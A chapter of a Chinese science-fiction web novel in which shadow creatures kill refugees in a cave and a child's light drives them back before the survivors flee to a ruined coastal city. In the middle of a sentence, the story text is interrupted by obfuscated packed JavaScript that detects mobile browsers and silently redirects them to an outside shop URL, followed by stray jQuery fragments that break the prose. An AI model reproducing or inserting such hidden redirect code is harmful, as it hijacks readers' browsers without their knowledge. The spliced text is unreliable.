黑影是纯粹的“无”——
没有形状,没有温度,没有声音,从六个溶洞口涌出,蔓延开来。
它们不发光,甚至吞噬光线。
所过之处,米粒博士的飞行灯直接熄灭。
暖橙色的光晕刚触到浓黑,便消失,没留下一点轨迹。
“鬼来了!鬼来了!”
之前追着灯光跑的羊角辫小女孩瘫坐在地上,双手捂住眼睛,放声大哭。
她身边的灯刚被吞噬,浓黑正顺着地面爬向她的脚踝。
大乌苏刚要冲过去抱她,浓黑里伸出几道无形的利爪。
轮廓和佐伊的银爪相似,却没有任何颜色。
利爪掠过小女孩身边的难民,那人没来得及尖叫,肩膀就被撕开一道平滑的口子。
没有血花飞溅。
伤口边缘的皮肉迅速向内塌陷,暗红色的血液违背重力,呈细丝状被抽进脚下的浓黑里。
那人的躯干急速干瘪,只剩一层灰白的皮囊裹着骨骼,瘫软在地。
另一团浓黑漫过角落的老人。
无形的锐器横切过他的颈动脉,却没有一滴血喷出,切口处的组织干涸发黑。
紧接着,浓黑顺着他的下颌向上攀爬,将他的头颅完全吞没。
老人的身体剧烈痉挛,双手在半空中胡乱抓挠,指甲抠进自己的头皮。
几秒后,他动作僵住,颈椎发出一声脆响,头颅无力地垂向一侧。
他暴露在外的皮肤迅速灰败、起皱。
而那团吞没他头部的浓黑,表面泛起一层细密的涟漪,质感变得更加黏稠。
“救命!我的胳膊!”
一个难民挥舞着手臂后退,袖口已被浓黑缠住。
黑暗顺着布料向上渗透,纤维触及之处灰化剥落,下方的皮肤迅速脱水、干瘪。
他伸手去扯袖子,刚抬起胳膊,几道无形利爪从浓黑中弹出,齐根切断了他的手腕。
切口极其平滑,没有一滴血渗出。
断面的肌肉与血管已被抽干,只露出一截灰白的骨茬。
米粒博士扶着另一个老人往角落退。
眼镜滑到鼻尖,镜片蒙着一层灰雾。
他感觉不到冷热,但周遭的气压正在急剧下降。
吸入肺里的空气变得稀薄,带着一种物质被强行分解后的涩味,胸腔因缺氧而阵阵发紧。
“这到底是什么……它在吃,吃一切。”
Ruki的纳米手环震得发烫。
路的声音被干扰得断续:
【Ruki,信号,越来越弱,你们,怎么样了?】
她一边用意识将画面同步过去,一边迈开腿,试图挡在发抖的小女孩身前。
可刚迈出一步,涌向她的浓黑便如水流击中礁石,从她身侧无声地分流、滑开。
Ruki停下脚步,试探性地走向另一团黑影。
刚靠近五米,那片浓黑便立刻向后收缩。
她回头看向背上的水晶仓。
金红光芒透过仓体投射在地,形成一小片光晕,黑影在光晕边缘外徘徊,无法寸进。
“是米拉?”
念头刚起,孕妇的尖叫声响起:
“我的肚子!”
一团浓黑正扑向蜷缩在岩壁边的孕妇。
她捂着肚子,双腿发软跌坐在地。
佐伊弹开银色利爪冲了过去。
可当她挡在孕妇身前时,黑影直接绕开她,继续向孕妇卷去。
佐伊立刻扑倒将孕妇护在身下。
接触的刹那,黑影如触电般溃散,连孕妇脚边的浓黑也顷刻褪去。
“这是怎么回事?”
佐伊皱着眉,回头看向Ruki,目光落在她背上的水晶仓上。
米粒博士也注意到了这一点。
他扶着踉跄的老人退入光晕,盯着闪烁的水晶仓:
“Ruki,你背上水晶仓闪烁的光,属于极正能量,黑影在怕这个!”
他颤抖着伸出手,指尖刚触及金红光的边缘,逼近的黑影便立刻缩了回去。
米拉在水晶仓里眨着眼睛,小手扒着透明仓壁:
“Ruki姐姐,这些恐怖的黑东西,和佐伊姐姐在难民营战场把你横抱起来时,我能感受到的夜行者能量一样。”
Ruki伸手摸了摸水晶仓,轻声安慰:
“米拉不怕,我不会让它们伤害你。”
“不,我不怕,是这些黑影怕我。我是来自高维度的极正能量体,所以爷爷常叫我‘小天使’,和镶嵌在Ruki姐姐能量核上的吊坠一样。”
米拉认真纠正道。
“我的小米拉醒了?这些黑影应该也和夜行者同源,属于极邪能量。”
米粒博士在一旁接话。
“哈,爷爷好!你的声音怎么是从那只丑丑的大山猫身上传出来的呀?”
米拉好奇地歪了歪头。
【米拉,Ruki,现在不是认亲的时候。但他俩说得对,米拉现在有足够能量完成一次‘极正闪耀’,净化所有黑影。】
Johnny的声音通过纳米手环,直接切入Ruki的义脑中枢。
【但你必须掩护佐伊,这会对她造成很痛苦的反噬。】
路补充道。
朗姆捂着胳膊退进金红光晕里。
他小臂上留着一道淡淡的灰印,是被黑影扫过的痕迹。
表面没有伤口,骨头缝里却透着一种被掏空的酸疼,疼得他龇牙咧嘴:
“这光真管用!刚才那玩意儿碰了一下,我感觉胳膊里的骨髓都被抽干了!”
伏特加也连连点头:
“是啊,靠近Ruki就安全了!”
“往溶洞角落退!佐伊护住孕妇!大乌苏、朗姆、伏特加,带上老弱,紧贴水晶仓的光晕!”
Ruki一把捞起腿旁发抖的小女孩,单手将她护在胸前,向角落突进。
背上的水晶仓金红光陡然炽盛,在身后拖出一道半米宽的光墙。
浓黑撞上光墙的刹那,没有发出任何声响。
接触面的黑影崩解、气化,连残渣都没留下,空气中只弥漫起一股物质被强行湮灭后的焦涩味。
大乌苏扛起一个腿脚不便的老人;朗姆和伏特加一左一右架着伤员,贴住光墙的边缘。
偶尔有漏网的浓黑缠上脚踝,他们挥动金属棒狠狠砸下,却只砸中空气。
黑影早已流体般绕到侧面,又被光墙的边缘无声切断。
佐伊将孕妇塞进岩壁凹陷处,自己挡在前方,脊背绷直,银色利爪完全弹出。
孕妇身上散发的温热气血,成了黑暗中最好的坐标。
大片浓黑放弃了外围的猎物。
它们贴着地面与岩壁急速收拢,原本弥散的边缘挤压成几道浓稠的黑带,直扑凹陷处。
可每当黑影逼近,佐伊体表便泛起一层微弱的血红光晕。
这层光晕与水晶仓蓄能时扩散的蓝白光剧烈排斥。
“极正闪耀”尚未爆发,仅仅是蓄能散逸的余波,便让佐伊猛地闷哼出声。
剧痛让她浑身震颤,银爪刺入岩层,向下拖拽出五道裂槽,崩飞的石砾砸中肩甲。
两种极端的能量在她体内撕扯,疼得她每一寸肌肉都在不受控制地痉挛。
“米拉,准备好了吗?”
Ruki将小女孩和米粒博士安置好,卸下后背的水晶仓置于人群中央。
纳米手环弹出高频闪烁的蓝光,与水晶仓的光晕交织成网状力场。
水晶仓内,米拉抿着嘴,双掌贴紧仓壁。
蓝白光从她掌心溢出,仓内亮度过载:
“准备好了,Ruki姐姐!”
【三、二、一!去护住佐伊!】
Johnny的指令在意识中弹出,Ruki全身的钴蓝符文点亮。
蓝光从手腕的纳米手环出发,顺着赛博纹路极速蔓延,零点几秒内覆盖全身义体。
一层幽蓝色的能量屏障从她体表向外扩张,形成半球形防御力场。
同一秒,米拉张开双臂。
“极正闪耀”爆发。
刺目的蓝白光击穿水晶仓的拘束,呈球形向外膨胀,以超音速推平溶洞内的所有阴影。
黑影在强光中剧烈沸腾、气化。
那些曾被吞噬的难民残骸旁,游离的黑色残渣在光照下湮灭,未留一丝灰烬。
Ruki踩着符文亮起的微光,在光芒边缘极限提速。
风掀起她的衣角,钴蓝屏障在身后拖出残影。
她的视线锁住前方那个脊背蜷缩、正被极正力量反噬的身影。
“佐伊!”
她低喝一声,在蓝白光吞没那片区域的前一瞬,极速滑铲至佐伊身前,双臂将她圈进怀里。
幽蓝色的能量屏障向内收束,形成半球形力场,将两人罩在中央,把高能辐射隔绝在外。
Ruki将下巴抵在佐伊的发顶,后背迎向光芒最盛的方向。
她收紧手臂,声音压得很低:
“我在。”
佐伊绷紧的脊背一颤,随即脱力。
极正力量的最后一次反噬贯穿全身,一声破碎的闷哼。
意识断线的前一秒,她只来得及感知到禁锢着自己的钴蓝力场,以及Ruki胸腔里剧烈的心跳。
佐伊失去意识,向前栽倒。
即便陷入昏迷,她弹出银爪的右手仍扣着岩壁边缘,身体本能地维持着挡在孕妇前方的姿势。
强光褪去。
溶洞内只剩下水晶仓散热时的低频嗡鸣。
Ruki抱着佐伊,低头抹去她嘴角溢出的血沫,探了探她的颈动脉。
确认脉搏平稳后,Ruki才稍稍放松。
她抬手拨开佐伊汗湿的额发,将她平稳放倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669886|207352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
大乌苏等人搀扶着难民从角落走出。
朗姆胳膊上的灰化斑块已经停止恶化,伏特加正用粗糙的袖口给小女孩擦脸。
米粒博士推了推眼镜,望着水晶仓里脱力的米拉。
“我们……活下来了。”
话音未落,Ruki手腕的纳米手环突然爆闪出刺目的红光。
那是六组深入分支洞穴的纳米追踪虫传回的警报。
她脸色骤沉,快速扫过视网膜上的数据流:
“第六组信号丢失。其余五个分支洞穴,黑影浓度正在重新攀升!米拉的能量已经——”
众人顺着她的视线看去。
水晶仓内只剩下一层濒临熄灭的暗红微光。
米拉双眼紧闭,呼吸均匀,已陷入沉睡。
“没时间了!”
Ruki搀起佐伊,目光扫过六个深邃的洞口。
“只有最后一个洞穴没有异常信号!”
“会不会是陷阱?”
朗姆后退一步,想起黑影的恐怖,身体止不住地发颤。
“不会。”
刚苏醒的佐伊靠在Ruki肩头,声音虚弱:
“那个洞通往旧世界废城。我多年来为了给Johnny和路拾荒,去过无数次,闭着眼都能走。”
大乌苏也点头:“我们兄妹几个也常去那边找物资,路线熟!”
Ruki不再犹豫,沉声道:“走!所有人跟上,我和佐伊断后!”
众人不再迟疑,顺着唯一安全的洞穴快速撤离。
隧道狭窄,风裹挟着尘土扑面而来。
身后隐约传来黑影涌动的沉闷声响,逼得众人不敢停留。
不知奔袭了多久,前方终于透出夜的凉意。
隧道尽头,漫天疏星悬在墨色天幕上,月光如冷霜,覆在前方连绵起伏的轮廓上。
当第一个难民踉跄着踏出洞口,一片庞大的废城剪影在夜色中铺展,一直延伸到遥远的海岸线。
Ruki扶着脚步虚浮的佐伊走出最后一步,回头望向身后漆黑的隧道口。
风卷着尘土穿洞而过,没有半分黑影追来的迹象,她终于松弛了些许。
“呼——总算……出来了。”
朗姆扶着岩壁大口喘气。
夜晚的风掠过他的胳膊,驱散了溶洞里那股令人窒息的虚无感。
大乌苏将怀里的羊角辫小女孩放下。
小女孩牵着她的裤腿,抬头望向那片废城,眼神茫然——
她从未见过这么多“高大的石头骨架”。
佐伊靠着Ruki的肩膀站稳,目光扫过眼前的景象。
这里是她最熟悉的拾荒地。
此刻再看,那些被岁月侵蚀的轮廓,比记忆中更显破败。
曾经的摩天大楼群只剩残破的楼体矗立在夜色中。
最高的那栋顶端坍塌,裸露的钢筋扭曲交错,刺向天空。
墙体布满裂痕,有些地方挂着摇摇欲坠的广告牌残片,在夜风中发出吱呀的摩擦声。
楼与楼之间的街道,早已被坍塌的砖石、扭曲的金属和枯朽的植被填满。
曾经车水马龙的繁华路段,如今只剩齐腰深的废墟。
远处的海岸线隐约可见,海浪拍击礁石的声音断续传来;咸湿的海风里夹杂着铁锈与腐朽的气息。
那些曾经临海的豪华公寓、霓虹闪烁的商业街,如今都成了被海水侵蚀的残垣断壁。
有些楼体下半部分已被海浪掏空,露出漆黑的窗口,像一排排空洞的眼眶,注视着这群闯入的幸存者。
没有人说话。
只有夜风穿过废城残骸的呼啸声,和众人略显粗重的呼吸。
溶洞里被黑影追逐的恐惧还未完全散去,眼前残破却开阔的夜色,终究给了众人一丝喘息的空间。
Ruki低头看向靠在肩头的佐伊。
她脸色苍白,嘴角的血沫还未擦净,脊背却挺得笔直,目光扫过废城的每一个黑暗角落。
“暂时安全了。”
Ruki压低声音:
“先找个避风的地方休整,等天亮再做打算。”
佐伊点头,视线落在废城深处更浓的夜色里。
她很清楚,这短暂的平静背后蛰伏着什么——
黑影、变异体,或是其他末世畸变物。
众人仰起头,望向夜空,无论如何,他们活下来了。
一队呈雁阵排列的圣盟机甲群正从云层上方掠过。
中间是统领级母舰,周围簇拥着几十架阿尔法战舰,正朝着远方驶去。
看到这幅画面,所有人都松了口气。
Ruki一眼便认出这是标准的撤离阵型。
可下一秒,她的义瞳聚焦,目光钉在那艘正在掉头的母舰上,低声道:
“不对,它的轨道……偏了。”
本章完。